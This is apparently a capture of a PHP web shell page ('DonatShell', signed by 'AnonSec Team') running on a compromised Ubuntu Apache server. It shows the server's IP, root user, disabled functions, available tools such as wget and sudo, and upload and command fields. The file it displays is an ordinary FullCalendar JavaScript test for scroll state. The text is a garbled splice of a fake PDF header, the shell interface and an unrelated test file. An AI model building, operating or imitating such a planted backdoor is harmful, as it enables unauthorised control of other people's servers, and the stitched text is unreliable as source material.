%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.146
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/ppaobm/vendor/bower-asset/fullcalendar/tests/automated/legacy/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/ppaobm/vendor/bower-asset/fullcalendar/tests/automated/legacy/scroll-state.js
describe('scroll state', function() {
  var calendarEl

  beforeEach(function() {
    calendarEl = $('<div id="calendar">').width(800).appendTo('body')
  })
  afterEach(function() {
    calendarEl.remove()
    calendarEl = null
  })

  pushOptions({
    defaultDate: '2015-02-20',
    contentHeight: 200
  })

  describe('when in month view', function() {
    pushOptions({
      defaultView: 'dayGridMonth'
    })
    defineTests()
  })

  describe('when in week view', function() {
    pushOptions({
      defaultView: 'timeGridWeek',
      scrollTime: '00:00'
    })
    defineTests()
  })

  function defineTests() {

    it('should be maintained when moving resizing window', function(done) {
      var scrollEl
      var scroll0

      initCalendar({
        windowResize: function() {
          setTimeout(function() { // wait until all other tasks are finished
            expect(scrollEl.scrollTop()).toBe(scroll0)
            done()
          }, 0)
        }
      }, calendarEl)
      scrollEl = $('.fc-scroller', calendarEl)

      setTimeout(function() { // wait until after browser's scroll state is applied
        scrollEl.scrollTop(9999) // all the way
        scroll0 = scrollEl.scrollTop()
        $(window).simulate('resize')
      }, 0)
    })

    it('should be maintained when after rerendering events', function(done) {
      var calls = 0
      var eventEl0
      var eventEl1
      var scrollEl
      var scroll0

      initCalendar({
        events: [ {
          start: '2015-02-20'
        } ],
        _eventsPositioned: function() {
          if (++calls === 1) {
            eventEl0 = $('.fc-event', calendarEl)
            expect(eventEl0.length).toBe(1)

            setTimeout(function() { // wait until after browser's scroll state is applied
              scrollEl.scrollTop(9999) // all the way
              scroll0 = scrollEl.scrollTop()
              currentCalendar.rerenderEvents()
            }, 0)
          } else {
            eventEl1 = $('.fc-event', calendarEl)
            expect(eventEl1.length).toBe(1)
            expect(eventEl1[0]).not.toBe(eventEl0[0]) // ensure it a rerender
            expect(scrollEl.scrollTop()).toBe(scroll0)
            done()
          }
        }
      }, calendarEl)
      scrollEl = $('.fc-scroller', calendarEl)
    })
  }
})

Anon7 - 2022
AnonSec Team